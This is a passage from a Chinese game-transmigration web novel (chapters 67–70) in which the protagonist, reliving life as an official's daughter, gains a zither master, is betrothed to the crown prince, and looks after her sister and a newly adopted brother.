你忽视了这是他亲手教你弹过的琴。 第67章 刮了刮琴弦不流畅的地方, 你勾指,沉浸在自己的琴技之中。 有了上个档的苦练以及名师加成,你弹琴的水平向前迈了很大一步, 你期待着月梧听见琴音的反应, 她一定会非常欣慰地夸奖你。 但这次, 父亲身边的丫鬟比月梧先找到你。 “小姐,大人请您到书房会客。” 你疑惑了下, 明明没弹错音。 上个档跟在他身边几年,你深知他秉性,表面上笑意盈盈, 实际内里是个极端傲慢的人, 恃才傲物。 如果不是长得好,出身高贵又真有本事, 他应该是过街老鼠一样的人物。据你所知,就算他有以上优越的条件, 他的同僚依然没有喜欢他的,都受不了他这种公子脾气。 所以他不可能被于他而言平庸至极的琴技吸引。 丫鬟抱琴跟你身后,你们踩着阶梯走上廊道,去往父亲的书房。 “老爷, 小姐来了。” 听到声音, 林彧和上个档一样, 眸光浅淡望你,含着一抹隐约的笑意。 父亲略显骄傲地叫你过去, 摸摸你的头发:“景蕊, 林大人赏识你的琴呢,去和他聊聊如何?” “聊什么。” “呃,聊聊你每天是怎样用功练琴的。” 你点头, 面向林彧:“我每天是被月梧追着打练琴的,天资愚钝,让林大人见笑。” 父亲:“……” 与他五颜六色的脸色不同,林彧笑意依旧,指头无意敲着桌案。 “八岁弹出这般的琴,算不得天资愚钝。我听着琴音甚觉投缘,不知可否见教沈小姐琴的师父一面?” 父亲至此明白他的意思,笑了声:“林大人当真是文人,以琴会友,尤其风雅。景蕊,去把你的月梧师父叫过来,让她跟林大人见一面。” 他让你叫,自然不是真的让你跑腿。丫鬟得了主人口谕,行礼后疾步出门,很快将挽着衣袖,手上直滴水的月梧叫来。 她很是不耐烦,“老爷找我有事?” 她在清洗母亲的礼服。入了秋,之后年节出门走动,要穿厚重些的衣服,需要提前收拾出来打理。 父亲眼角抽了抽,余光瞥向林彧,有些埋怨:“你怎么这副样子就来了。” “林大人有些琴技上的话要问你,你守礼些回答。” “啊?” 没给月梧回话的机会,他牵着你走进书房里屋,给她和林彧腾出空间。 你吃着父亲喂给你的点心,随手翻他的文书看。他管的是朝中财政方面的事务,你翻到了各地物价的汇报记载,看得入神。 父亲则全身心关注一墙之隔另一侧两人的互动。 若林彧当真动心,他就为他做成这桩好事,也算卖了林家一个人情。 林彧与月梧简单聊了几句,月梧擦干双手,坐在琴前弹《蒹葭》。 琴音清冽笃实,干脆利落,却不是他想听到的那道,林彧的眼中逐渐沉淀下去失望。 “好了,多谢月梧姑娘。” 月梧觉得他很莫名其妙。被叫停也不多想,行礼告退后继续忙母亲院里的事。 父亲问他如何。 林彧滴水不漏:“听琴罢了,沈兄问什么如何?” “……” 你在书房里沾墨画了个乌龟,随手夹在某个信封里。父亲唤你过去,你将墨迹抹在衣袖里侧,从椅子上落地。 “我家景蕊性子静,就喜欢看书。夫子留什么篇目她第二天都能倒背如流,这股聪明劲像她娘。” 林彧对别人家孩子是否聪明不感兴趣,顺口应和着,目光落在你身上,若有所思。 “景蕊吗?真的没有别的师父教你弹琴?” “并无。” “……” 你的态度与初见他那天的痴迷大为不同,像是看惯了他一般,这让他心里产生了一点微妙的落差。但并不多,毕竟他还是不在意无关紧要的小孩子的想法。 “沈兄,可否让令爱弹首琴给我听?” 父亲应下,蹲身哄你:“景蕊,林大人弹琴很厉害的,你给他弹一曲,让他指点一番。” 林彧是游戏认定的和卫棠同等级的名师,弹琴自然数一数二。有他带你学琴,上个档里数值加成很大,学了三年就满阶达顶,还额外加了很多声望,认他做师父稳赚不赔。 想到这一点,你端正态度弹琴。这次连父亲也听出来:“景蕊琴中竟有林大人的影子。” 他觉得他女儿或许是新一代的天才。 林彧则沉默盯你。 他之前没听错,你弹的前半段就是他作到一半没给人弹过的曲子。后半段他一直没有灵感,本来当作废稿扔到一边,你却顺畅地弹了出来。 肃杀的乐曲在中间一转,松缓下来透出几分相思之意。前后衔接并不突兀,反而让人觉得曲子就该这样进展下去。 弹奏的人是你,你不懂曲中深意。 如若是他所写,应是写给心上人听。 “沈小姐可知这曲名叫什么?” 你回忆一下:“《无题》。” 你以为是和《蒹葭》、《关雎》等类似的常见诗作配曲,因为他当时教你的时候就只是握着你的手,呼吸近在耳畔地弹。 “无题……” 林彧咀嚼这两个字,无法解释的东西他从不深想,只当和你这小孩有缘。 “沈兄,不知我可否收令爱为徒,授她琴艺?” 父亲心中欣喜,但克制地咳了咳,矜持道:“除了太子,还没听过你是谁的师父,贸然收我家景蕊为徒,怕是要有许多人恼恨于你。” 林彧道:“恼恨又如何,只问你家女儿是否愿意。” 你愿意,不过。 “是林大人想当我师父,所以你要来我家上课才行哦。” 他笑了笑:“要求还挺多。” 【恭喜玩家通过考验,拜师林彧成功,解锁名师附加数值】 【林彧接替月梧成为你的琴师】 林彧收徒的消息很快传进母亲耳朵。她撑着纤细的手臂,将你抱着腾空转了一圈。 “我的景蕊真给娘争光。” 月梧欣慰道:“老爷还算有些用处,给小姐找了位好夫子。” “是啊,这下不必你操心景蕊的琴艺了,我看你这两个月管她瘦了好多。” 母亲心情极佳,念许多关心的话。就连景妍那边也被她送去几匹织锦赶制新衣服,叫来她身边的丫鬟问话,关照她的近况。 林彧教你琴技,就不必像月梧做你师父那段时间一样每天练琴。 你挑了卫棠没课的时间,和他一起出门逛街。两个小孩单独在外行走过于扎眼,所以你用道具把自己变成了老妇的模样,佝偻身躯走在他旁边。 【想吃桃花酥吗】 你盯着他的手语,朝他所指的摊位走去。铺面上摆着朵朵粉色桃花样式的点心,像是饼干。卫棠掏钱买,领到手里一块块喂你。 嘴里嚼着响脆的酥糖,你摇晃和他牵在一起的手,勾他的手臂到怀里,指卖头面的店铺。 “是海棠花,想要吗?我买给你。” 你挽着他进店,点了那一排海棠花样式的簪钗给他挨个试戴。粉白的玉花戴他头上十分精致,你捧着他的脸挤压:“真好看。” 卫棠缓慢眨眼,脸红着对你露出甜笑。 眨眼的功夫,你被人捏着肩膀甩到一边。? 谁? 勉强站稳,你惊疑望向那人。五大三粗的被肌肉包了一圈的男人,三十几岁模样,耳后挂着一道刀疤。 他面向卫棠躬身,奸笑道:“小姑娘,今个寂寞,陪哥哥喝一杯去?酒钱我请了。” 卫棠:“……” 【烂口口去死你以为你在推谁你敢碰她你死定了你家死绝了你下辈子去做猪屎吧嘴臭至极野猪成精出来恶心人死啊死啊去死啊割掉吧割掉吧做成肉夹馍自己吃了消化吧】 你揉揉眼睛。 他明明没动,你却好像看得出他眼神的含义。 “怎么不说话?” 男人勾他下巴:“是个哑的?你这脖子不够细啊,能叫吗?” 街上经过的人都避讳绕开他走。趁人不注意,你躲到摊位侧边,用道具把自己换成魁梧的三米高巨人老妇。 一拳把流氓男打出两条街,你将卫棠捞在怀里,抚了抚他的背。 “别怕哦,坏人打飞啦。” 他揪着你的衣领,将头埋在你脖颈处,安稳坐在你的手臂上。 流氓男一副自己在做梦的表情。 发生什么事了? 你迈着柱子一样的腿到他身前,将他踢翻过面来,用一张布满褶皱的脸凝视他。 “我不知你背后是谁,既然敢当街做这种事,身后必然有所依仗。” 你抬脚:“是这只手碰的我的人,对吧?” 踩断。 流氓男的尖叫声无比凄惨,你面色不变,从他身边经过。 街旁的路人纷纷朝你跪下:“仙人!仙人显灵了!” “拜见仙人!” 你步子放快,咕哝道:“不会折寿吧……” 卫棠摇头,向上搂你的脖颈,凑在你侧脸处亲了口。 “小姐好厉害啊。” 许久没有发声,他音色微哑,说完又亲了口,将头靠在你的肩上。 待办: 【琴师林彧对景妍的天分赞不绝口,决定将她带去皇后身边侍奉。 你才不要把这样好的机会让给她。】 来活了。 “……一辈子都在一起,我一辈子都跟着你,你让我做什么我就做什么,好喜欢你哦小姐…” 将搂着你脖子说甜言蜜语的卫棠放下,你匆匆交代:“我有事,钱留给你,你自己回去。” 你变成麻雀飞走。 被扔在原地的卫棠:“……” 第68章 “沈兄还是要看景妍的意愿, 也许她想进宫陪在皇后娘娘身边。幼年失恃,无根浮萍,纵有父亲怜爱, 但沈兄能在家待几时?往后擢迁和住在官署没什么区别, 不如舍得放手, 送令爱一个好前程。沈兄也清楚,皇后娘娘是天下最为慈爱之人, 她会善待你的孩子。” 父亲始终沉默。 在他看来,林彧所言并非没道理。抛去林氏想把他拉入太子阵营的目的不谈,有皇后教养之名在外, 往后景妍议亲就不仅是他庶出的女儿。 而且他本来就有意接受林家的恩惠。如今朝中吏治清明, 政局稳定,不可能轻易废立太子。站在太子这边, 往长远看是家族几百年的荣华富贵。 不管怎么想,父女之情都该最先抛在脑后。 “景妍, 你如何想,要随林师父进宫陪伴在皇后娘娘身边吗?” 景妍感受到父亲松动的口风,尚且年幼,不懂来日与前程, 她只能知道父亲要把她从这个家送走、父亲抛弃了她。 “我……” 眼泪比声音先一步落下。她低头擦拭, 眉间的桃花印随着时间的增长越来越小, 如今像女子在眉心画的花钿般。 “我不……” 你飞落在窗外,变回自己本原的模样, 身穿浅碧色襦裙, 裙边坠着透明闪光的宝石。拨开帘子,快步行走,宝石碰撞发出实心的响声。 “景妍不许去。她不懂规矩, 恐有个万一,在宫中冲撞到皇后娘娘,沈府无法担此罪过。” 你一出现,便被景妍抓手躲到身后,连发髻都不敢露出。 林彧含笑看你:“景蕊,大人说话,哪轮到你来插嘴?” “我不许景妍去,就是不许!” 父亲眉眼舒展,竟有些感动。 刚见面时,你闯过烧人的大祸,相处这么几个月,就和妹妹感情这么好—— 要是再早点,看到景妍在家中有一席之地,阿诗便不会寻死。 景妍抱住你的腰,呜呜哭起来,有人庇护,她敢说心里话了。 “不要,父亲,我不想进宫,我想和姐姐一起。” 你朝林彧道:“听见了吗,林大人。我妹妹只想跟我待在一起,你别想着拐小孩了!” 林彧“啧”了声,蹲身捏你的脸:“拐小孩?我?” 父亲清了清嗓子,开口:“算了,景妍不去便不强求。今日之约,若林大人不放心,可拿某其他东西抵押,悉听尊便。” “除了这条路,便是通婚。沈兄想选她们谁订婚。” 父亲皱眉:“林氏似乎没有适龄的公子可配,几位总角的公子似乎都订过亲事。” 林彧道:“是啊。” “那如何通婚?” “跟我。” 父亲忍住翻他白眼的冲动:“此事再做商议。” 女儿嫁他不可能。就算林彧再怎么少年英才,配他女儿都是老牛吃嫩草,亲事真成他就夭寿了。 “看不上我?” “……林大人真是说笑。” “太子如何?” 他捏腻了脸,又去捏你的鼻子玩。指腹温凉,像是被白檀浸泡过般,仅仅是碰你几下,就闻到一股冷冽的淡木香。 “配景蕊。” 父亲震撼不语。他没想到林家肯拿出这种诚意,身为后族,看中了他的为政之才,愿承诺下一代的皇亲之位邀请他。 “林大人当真没有玩笑?若我不堪重用……” “不堪重用便杀了你,毁掉这桩婚事,沈兄还要再问吗?” 无需再问,林彧的话代表了背后皇帝的意见。 想升官,想实现抱负,可以。 以身入局,干笔大的。 你觉得这是一个可以分线的节点。 1.嫁给林彧。 2.嫁给太子。 3.都拒绝,再找其他。 压下林彧胡乱揉你脸的手,你调出虚拟屏幕,准备存档。 【很抱歉,存档读档功能暂时停用。原因:女主厌恶值不足50】??? 你掉帧般一顿一顿回头,对上景妍哭红的双眼,杏核般漂亮的眼型盛着水雾般盯着你,受到你的视线后靠的越发紧密。 “姐姐……” “……” 存档读档功能停用,对你而言像手脚被困住。 也没做什么吧?已经三天两头在她身上做坏事了,怎么就不讨厌你? 你朝她做了个凶狠的表情。 景妍:“……” 她努力露出微笑,将你抱得更紧些。 被当成做鬼脸哄她开心了。 你有些发愁地回身过来,松了林彧的手。 没有存档功能,也就是需要你动脑的时候。 后面即便厌恶值提升,读档功能回归,读到更早的时间,出现些微的变动,这个选人环节也可能被你蝴蝶效应掉。 所以最好从这里开始盘算。 走哪条路通关的赢面更大一些? 嫁给林彧,他可以帮你从皇后那要来金雀钗。皇后不情愿给,他也有手段强行得到。但是—— 通关任务还涉及到【恋爱评级】,选人阶段就纳入评分细则,林彧应该不在景蕊的择偶年龄区间内。如果真的嫁给他,倒是不担心攻略他,主要是积分可能会很低。 “太子殿下今年几岁?” “你想他几岁?” “比你小就行。” 林彧今年二十,比他小个五六岁,不,只要比他小个两三岁,积分应该都会高点。 不选择,赌后面没遇到的人积分有更多可能性,但身份不尊贵应该比不过太子。 你沉眉思索。 林彧看在眼里,有些好笑,将你和太子表弟想象到一起。 挺好,般配。 那位也是个小大人。 他对这场保媒还算满意,起身抚了抚衣裳的褶皱。 “如何,沈兄?” “这是宫中的意见?” “自然。” 父亲恭敬行礼:“臣沈修宁谨遵圣命。” 【挑战成功】 兑换奖励:可分配点数【1】 【现存可分配点数:3】 你仰头道:“我还没答应。” 林彧道:“景蕊,你是天下最好命的女子,你未婚夫很好看的,哪天带你去见见他。” “很好看吗?跟你比呢?” 林彧思索了下:“他眼睛像我。” 看来是很好看了。 上个档,你虽然在宫中过了八年多,但并没和太子正面碰见过。小时不曾被皇后带去见他,长大了又黏着林彧玩。 是有几次在书房擦肩而过,但你低头行礼,并没能好好看清楚太子长什么样,只记得宫中有过一阵太子体香的传言。问了林彧一次太子真的那么香吗,之后他再不给你见人的机会。 你认为林彧眼睛最好看来着,眼尾微微上挑,叠的双眼皮是扇形的,看着不食人间烟火,偏偏又有勾引人的感觉。 更重要的是—— 做他的时候,他眼眶会发红,眯起来像狐狸。 就这样吧。 反正只是婚约,又不是真的成婚,不满意随时可退。 你这里还有【解除婚姻】按键在。 【很抱歉,[解除婚姻]功能暂时停用。原因:女主厌恶值不足50】 “……” 看来得快点让沈景妍讨厌你了。 你究竟做错什么,她会喜欢你? 当晚,你变成了景妍身边丫鬟的模样,出言挑拨。 “跟太子的婚事本来该给小姐你的。怎么就让正房那边抢了去,若我在现场,一定要把大小姐拆穿不可!” “……”景妍迷茫看你。 “当初小姐刚回家时,大小姐便百般为难,还差点烧死小姐和诗夫人。诗夫人的死都是正房这对母女害的,若不是她们苛待小姐,诗夫人怎会为小姐的前程想不开……” 你拿帕子沾了沾眼角。 “都怪大小姐。小姐,你别再傻下去了,不能忘了之前的恨,快些振作起来对付她才是。” 景妍:“……” 她是个爱笑的孩子,很少面无表情,更少展露怒气。 所以你对她的这种神情很是陌生。 她语调坚定:“我不许你说我姐姐坏话。” “……这不是坏话,是事实。就连现在,她也常常为难小姐,让卫姑娘给你安排更多的功课,偷你的鞋,还在你的饭里下巴豆。小姐,你清醒些吧!” “那都是姐姐在考验我,她是我姐姐,我最知道她的心思,你别装作一副很了解她的样子!” “我不理你了!” 你:“……” 当晚,院中多了一个悲伤的丫鬟。她不知犯了什么错,惹毛了最好脾气的二小姐,二小姐说永远都不想再见到她。 突然订了婚事在身,得知情况,母亲与月梧相顾无言。 父亲身边的丫鬟解释:“是宫里的意思,旨意还没落下,算是口头约定。” 母亲苦笑召你到膝边抱着。 “我本想把女儿嫁回娘家,都看好选她哪个表哥了。” 月梧劝慰:“殿下也很好,您见过他的风度。” “我只怕我女儿没福气,平白无故被耽误一生。” “您又来了,小姐如何呢,她哪里不好?要我看,全天下最聪慧的孩子就是您的景蕊。” 月梧只有在母亲面前会说你的好话,她知道她过得不快乐,而你是母亲唯一的快乐药。 夸完你,母亲果然脸色好看很多。 “是啊,我的景蕊哪里都好,” 女儿身边有小卫在。到了年纪,让小卫伺候她几回,应该对丈夫就不会那么痴心了。她只希望女儿不要步她的后尘,就算嫁错了人,也不至于伤情,继续过她自在的日子。 你连日在景妍身上找突破,都没有成功。 虚拟面板几乎全被封锁,只剩一个【退出游戏】键还能正常使用。这个如果没了,就真的是恐怖故事。 在你一筹莫展之际,父亲另外带了一个小男孩回来,和景妍差不多大,也送到母亲的院子。 他解释说是他一位同乡的儿子。这位同乡的妻子早年病逝,留他和儿子相依为命,他如今也不行了,求他帮忙养大孩子。 “他没有亲眷吗?送来我这,我只会觉得他也是你的私生子。” “敏娘,你非要说这么难听的话刺我?我那位同乡你不是也见过、知道是谁?还是你只想跟我争吵,让孩子们担惊受怕?” 景妍捂住你的耳朵,“姐姐不听,等下就过去啦。” 你:“……” 第69章 父母本就因诗夫人自尽的事分居, 这次又吵一架,却没了再疏远的余地。父亲所能做的只有更早去官署上值,来表达他的愤怒, 但无人在意。 男孩名叫卢云衢, 其父病前任职雍丘县尉, 这次投奔,他被父亲认作义子, 也就是你的义弟。 母亲嘴硬心软,并不跟孩子一般见识。她蹲身问卢云衢,今年几岁、路上累不累的话。 云衢乖巧作答, 性子沉静, 不多说一个字。 母亲叹了口气,招来月梧带他下去安顿。你和景妍用目光追随他, 经过时,他在你们面前停步。 “见过二位姐姐。” 你跟他挥挥手, 景妍则是捂住嘴巴,眼睛里的亮光快要溢出来。 “姐姐,我也当姐姐了吗?” 为了刷她的厌恶值,你只敷衍地点头。 景妍不在意, 紧抱住你的手臂, 视线热切地盯着新弟弟的背影。 “他好小哦, 都没有我个子高,我盖短的被子要不要拿去送他?我穿小的鞋他会要吗?明天我们一起上夫子的课吧!等下我去教他背《学而》!学而时习之, 不……” 她自己先叨叨咕咕背了起来。 可爱。 你挪步离开, 景妍还要黏上,你抽手:“去找新弟弟玩吧,别来打扰我。” “……哦, 好。” 云衢的到来并没多影响你的生活,他安静地生活在沈府角落,只有读书时才跟你与景妍接触一小会儿。没有大人在的时候,他叫你们大小姐和二小姐。 景妍小天使一样告诉他:“要叫我们姐姐哦,不要叛逆,弟弟。” 叛逆是她从大人那新学到的词。她觉得景蕊姐最近一段时间就在叛逆,整天装一副大人样子不理她,好像多讨厌她一样,不是会被她可爱到吗? 云衢听话地改口:“大姐姐,二姐姐。” “这才乖。” 你没有参与他们可爱稚嫩的对话中,正抱书望天默记。 学的内容越来越多,超出了你的知识范畴,之前能用存档读档功能过关,但现在功能都被锁定,你每天都需要真刀真枪地背。 不是恋爱游戏吗,为什么换成学习频道。 之前一共顺利长到十五岁之后两次。你自认没改变过对景妍的态度,她的厌恶值有变化,应该是关键事件的选择。 第一个到十五岁的存档,你拒绝了景妍一起学舞,直到你决定读档回来,诗夫人都还活着,没怎么见过景妍。 第二个存档,你被林彧带进宫到皇后身边。诗夫人虽自尽,但你与景妍依然很少接触,因此厌恶初始值没有被动摇到。 第三个档,也就是主档的现在,诗夫人去世,你陪在景妍身边时间过长,她十分依赖你。 厌恶值低于50的关键在于林彧要带景妍进宫。你因为坏她好事的任务出面帮她拒绝,但在她看来是你帮助了她。 她越来越喜欢你、信任你。 还要怎么伤害她?跟玩男人不同,你下不去手欺负小孩。 拿书敲了敲胸口,长舒一口气,想,算了,就这样没有存档读档地过下去吧,要是这样还能通关,不是很酷吗? “景蕊小姐,你先给我背《梁惠王上》。” “……” 你找到了久违的学生时代心虚感,支支吾吾开口,心里感慨都忘了自己还有这么窝囊的一面。 “夫子,我没背下来……” 夫子严厉道:“手伸出来。” “啪!” “怎么还抽走了?今天多罚你两下。” “……” 捂着火辣辣的掌心,你坐到自己的桌位。 景妍背得很流利。 云衢出座时望你一眼,夫子叫他背,他说:“我也没记住,夫子罚我吧。” 夫子用力抽他掌心,“为什么不背?景妍为什么能完成?你是不是偷偷和景蕊出去玩了?” “没有。” “骗人!”第二下。 “不偷玩怎么可能背不下,这很难吗?” “回去坐下,什么时候背完,我们什么时候往下学。知不知道,就是你们两个耽误了景妍的时间!” “……” 你托腮望被夫子训斥而躬身的云衢,掌心被打过,还发着热,在秋天凉爽的天气里敷在脸上还算舒适。 这小孩。 应该不是背不下来,而是太会察言观色了。 主人家的女儿没表现好,他寄人篱下,不敢太出挑,担心惹人讨厌。 察觉到你的目光,云衢望向你,微一点头落座。 是个当官的材料。 你如此评价,收了收心,专注投入到课文中去。 不能拖累妹妹弟弟的学习进度。 一节课上完,到了晌午吃饭的时候,景妍挎着你的胳膊要去你房里吃。云衢孤零零走在一边,只有身边伺候的嬷嬷跟着他,看上去有点可怜。 你伸了另一边空着的手过去:“云衢,一起吃吧?” 他思考片刻,走向你空着的一侧,握住你的手。他的手比景妍温度低很多,路上,你先握他的掌心,后来又攥他的指尖,将他整只手捂热。 “是衣服薄吗?入秋了,你喜欢什么颜色,我让月梧给你做几身厚的。” “蓝色。” “好,我记住了。” 落座吃饭,你端碗看到自己的衣袖,才意识到自己今天穿了蓝色的衣裙。 怎么连喜欢的颜色都不敢说。 你压住他的碗沿,问:“你是不是不喜欢蓝色?” 云衢老实把碗放下:“喜欢的。” “你不说实话,今天就别吃饭了。” 他默了默,说:“喜欢绿色。” 你道:“因为景妍穿了绿色?” “对不起,姐姐。” “我们穿了这种颜色的衣裳,并不是多喜欢这个颜色,家里也不会因为我们的喜好额外储存什么布料,喜欢什么颜色张嘴要就好,你既然住了进来,就不要客套,你还是小孩子呀。” “……” “吃饭吧。” 他端起碗,安静进食。 但你发现,他只夹距离他近的那几盘菜。已经知道劝他没用,索性直接动筷夹远的鸡腿放他碗里。 云衢道谢,将鸡腿吃掉,紧接着他捂嘴跑去院外呕吐。 你:“……” 月梧叫大夫给他看身体,开出他身体虚弱,需要好好休息的医嘱。 云衢反复道歉和道谢。 “我没有事,麻烦医师,我没有事。” 月梧将他的头发往耳后捋:“没事怎么还吐了?” “我……” “说。” “我不能吃鸡皮。” “不能吃为什么还要……”月梧眼睛朝你瞪来,“小姐,是不是您逼着公子吃鸡皮了?” 云衢手足无措:“不是姐姐!” 月梧道:“那是你二姐姐?” “不是的!不是……是我自己要吃的。” 你叹了口气,把饭桌上发生的事跟月梧复述一遍。 月梧戳你额头:“怎么就这般霸道,你给弟弟夹菜怎么不问他想吃什么?” 你闭着眼睛挨戳,将你额头戳得红了,她又心疼地抱着吹了吹。 “好了,你和弟弟好好说话,道歉,知道吗?” “嗯。” 月梧将门关上,给你留出一个体面的道歉空间。 但你认为不必要,并不打算道歉。 只告诉他:“遇到自己不喜欢的东西,不勇敢地说你不想要,结果就是这样的。你觉得呕吐的滋味舒服吗?” 云衢垂头:“对不起。” “回答错误。” “……不舒服。” “那你喜欢不舒服吗?” 他摇头。 你道:“所以下次要怎么做?” “说出来。” “你骗人,你下次还会怕我们不高兴忍过去。” 云衢抬眼望你,眼睛里面漆黑一片。 你给他诊断:“你应该只是不喜欢吃鸡皮,并不是肠胃过敏。这段时间你太难受,胃受不了一点刺激,所以你吐了。” 他忙道:“没有,我很高兴,能来到家里,和大姐姐、二姐姐学课。” 你不再说话,只用眼睛盯他。盯得他攥紧盖在身上的被子,将头转向一边。 “你还是小孩子,一定要这么憋屈吗?现在能给你撑腰的人就在你面前,她有钱有闲,你问她要什么她都满足你。为什么不许愿呢?一定要从现在开始吃苦吗?” “……” “我怎么样,和姐姐都没有关系。” “我现在很闲,就是想管。” “姐姐今天的课业背了吗?” “……” 他笑了下。这些日子以来,你第一次见他笑。 “我真的……没什么想要的……” 眼泪啪嗒落下,滴到他紧攥的手背上。 “能有地方收留我,我很感恩……” “可是,可是我好想回家……想回家……我爹要死了,他是我在世上最后一个亲人,他要死了,可我在别人家里,我把所有钱都带走了……” “姐姐,我想回家……” 你愣愣望着一个小孩忍泪。 很想问一句,他爹原来还没死吗? 你以为他是失去所有亲人之后,才被父亲带回家的。 “呃,别哭,我带你回家。你记得回家的路吗?” 他揉眼睛:“记得,我记得……” 你让他下床穿鞋,自己去月梧那调出门的马车,只说带云衢外出玩一圈散心。 毕竟他爹去世后他还要回来,所以还是不要说送他回家,免得惹父母多心,以为他不愿意在家待着。 马车离家,你听到景妍呼唤姐姐的声音。从车窗探出头,你和她摆手,让她快回去。 小女孩跟着跑了一段路程,意识到自己没办法追赶上车,停在原地望你们远行的车影。 坐了一下午的马车,望着窗外越来越熟悉的景色,云衢有些待不住。 “姐姐,你带我来这边,义父知道了会骂你吗?” “我不怕他。” “义母会生气吗?” “我道歉便是。” “姐姐怕义母吗?” 你掐他的脸:“之前问你什么你都不说,现在倒是来问我问题了?” 他笑:“姐姐怕义母。” “我是不想伤害她。” “我明白。” 很快到了目的地,他没再跟你聊些有的没的,跳车跑进家门。 “爹——” 和在沈府,在你面前刻意保持的稳重守礼不同,他进了家门便变成了真的孩子。 换新地图,你照例到处探索。他们家只有书房东西最多,其他地方的摆设都因为主人的病重被变卖。 云衢的爹十分怀念亡妻,抽屉里都是写给亡妻的信,句句泣血般。 友人劝他想开,他回复:【汝安知寻人不得之味】 随手翻他的收藏,许多古时真迹。 ……你翻到了谢珩的墨宝。 虽然过了很久,在游戏里又过了许多年,但你还是认出了他的字迹。 【乘云感电,高衢塞清】 是云衢名字的出处。 第二关都能把你的首饰作为主线,出现前任务对象的手迹你并不意外。 你盯着那几个字许久,还有末尾留下的他的印章。 【谢氏子瑜】 “姐姐?” 你将墨宝卷了起来,握在手中。 “姐姐,我们要回去吗?” 你道:“住下吧,很晚了。我会说明是我的主意。” 差使车夫回家报信,你与云衢在他家里住下。 他父亲收藏的珍品大多是谢珩的真迹,云衢陪伴他父亲的时光,你与这些手稿作伴。 第一关里举办的那次诗会,他作的集序也留传下来。 妻子,妻子,妻子,他提了好多遍。你完全不知道。 十九天后,云衢父亲离世。 他披孝守灵送葬,父亲来雍丘接你们。 他一句话都没说,前面抱着你,后面背着云衢,走完坟茔到山下的路。 【八岁的第六个月,你打算做什么?】 【临摹练字】 【林彧成为你的书师】 【解锁名师附加数值】 “想学什么体?” 怎么又是他。 面上不显,你把谢珩的墨宝给他看。 他公事公办地了然:“谢体。” “下点功夫,能成。” 第70章 “姐姐, 姐姐姐姐!” “你看我的小手炉,上面画了红色的梅花,好好看呀!” 景妍一路欢笑跑进屋内, 身后的丫鬟帮她将门关好, 隔绝外面的风雪。 你在纸上落下最后一笔, 将笔搁在一旁。 “我看看。” 出自汝窑的青瓷手炉,上面工笔画了梅花, 看着是很精巧。 待办: 【到了年底,汴京士族相互走动,家里多出不少宝贝。 是故意跟你炫耀父亲偷偷送了她东西吗? 摔了它。】 “……” 当面? 稍微犹豫, 你选择执行, 毕竟有可分配的点数。 手炉掉在没铺地衣的地板上,“咚”地一声碎裂开花。 景妍的笑傻在脸上, 反应过来后蹲身,厚厚的夹袄在领后堆起一个小丘。 她自我开解:“没事的, 没事的,没事的……” 【挑战成功】 兑换奖励:可分配点数【1】 【现存可分配点数:8】 攒到8个点数。 你跟她蹲在一起,把碎片从她手里捡过来:“对不起啊,我给你买个新的好吗?” 景妍有点委屈:“可是它是爹送的。” 你道:“我给你买, 不就是姐姐送的了?我们买个一样的好不好?” 她板正小脸思考片刻, 比起爹, 她的确更喜欢姐姐送她礼物。 于是笑了:“好!那我想要桃花,和我头上的一样颜色的!” “嗯, 等姐姐下了林师父的课, 我们就去买。” 景妍用力点头,在房里看了一圈:“林师父在哪呀,是不是藏到衣柜里了?我们要找到他吗?” “林师父感染风寒, 身体不舒服,在屏风后面睡着呢。” 说着,你将地上的手炉碎片收起,留下妹妹最喜欢的红梅碎片摆到桌上,剩余让丫鬟清扫,以免留下碎片伤到她。 景妍踮脚走到屏风后面,好奇地看着躺在美人榻上的林彧。 外面下着雪,室内光线昏暗,但他的皮肤依然雪白清透。乌黑的长发半披着,一半泄在衣襟前,一半压在身下。 “姐姐,林师父好好看哦。” “还成。” 比起这副病弱的模样,你认为他还是在床上脱到一半时更好看。 景妍道:“我们给林师父上妆吧!” “好啊。” 林彧醒时,手边压着徒弟景蕊的练习手稿。 平心而论,写得不差,算有天赋。 唯一不足就是写的字像画出来的。他最近就在纠正景蕊的这个毛病,但仿佛养成了什么顽固的习惯,写字总是求形而非骨。 屋内静悄悄,不见人影,她应是写完就立刻出去玩了。 他懒洋洋地坐身片刻,将长发甩到身后,挪步到书案边沾朱砂写批注。 写完出门,打算回家养病。今日格外奇怪,路上遇见他的丫鬟都忍笑,比平时大胆些。 察觉到不对,他随意拦住一人要镜子照。 镜中,他被涂了红粉,晕在面颊和眼眉处,是女子间曾流行过的檀晕妆。从看到脸上有奇怪的颜色起,他就被气笑了,在丫鬟的指引下,净了面,问:“你家小姐去哪了?” 他眉上挂着水珠,发怒时另有神采,丫鬟看呆一瞬。 “小……小姐们和公子出门玩了,我不知去哪。” “找个知道的过来。” 丫鬟称是,小跑着去找月梧。 留林彧在原地生了会儿不上不下的闷气,气过,想到景蕊在他脸上认真捯饬的模样,又觉得好笑。 才要露笑,侧头对上一道不善的目光。是个相貌尤其不错的丫鬟,身量比寻常女子高挑。 怎么,因为他打算对她家小姐发火,想跳出来护主? 眼神骂得好脏。 “怎么办,林大人很生气啊。” 月梧扶着额头:“我去看看,林大人应该不会真的和小姐计较,你去派人把小姐找回来。” “好。” 你带着弟妹在街上采购。 “这个碟子上有苹果,好看,买了。” “姐姐,什么是苹果?” “……林檎。” “那我要一个跟你一样的。” “行啊,弟弟要吗?” “嗯,谢谢姐姐。” 景妍学着你对待她的刻薄样子,叉腰隔在你和云衢之间,冲着他冷言冷语:“你怎么什么都要?姐姐本来没说给你买。” 云衢于是改口:“对不起,二姐姐,我不要了。” 你:“要三个。” 景妍:“!姐姐!” 她拉你的手:“我不要,不要跟他一样的!我们两个一样就好,为什么要带着弟弟,他是男孩子……” 云衢道:“姐姐,你和二姐姐买吧,别惹她不高兴。” 店家生怕少卖一个,耐心教你:“小小姐,做姐姐的可别偏心啊,对弟妹要一视同仁。” 你点头:“那弟弟挑个你喜欢的碟子。” 云衢道:“家里有碟子用的。” 店家哎呦一声:“旧的和新的能一样吗?小公子,你姐姐都说给你买了,你就挑一个喜欢的,我给你便宜十文钱好不好?你两个姐姐都用新碟子吃点心,就你一个用旧的,点心都不甜了。” 云衢道:“那我买碟子的话,你送点心吗?” 店家:“……” 他沉默时,云衢就仰头用墨色的眼睛望他。 算出净赚利润,他妥协:“看小公子长得这么好的份上,我给你们买,说说,想吃什么点心?” 云衢攥你的手:“大姐姐、二姐姐,想吃什么点心?” 景妍不喜欢他表现这么好! “我不吃!” 云衢低落垂下眉睫。 你晃晃他的手:“吃糖炒栗子,要新出锅的。” “成。” 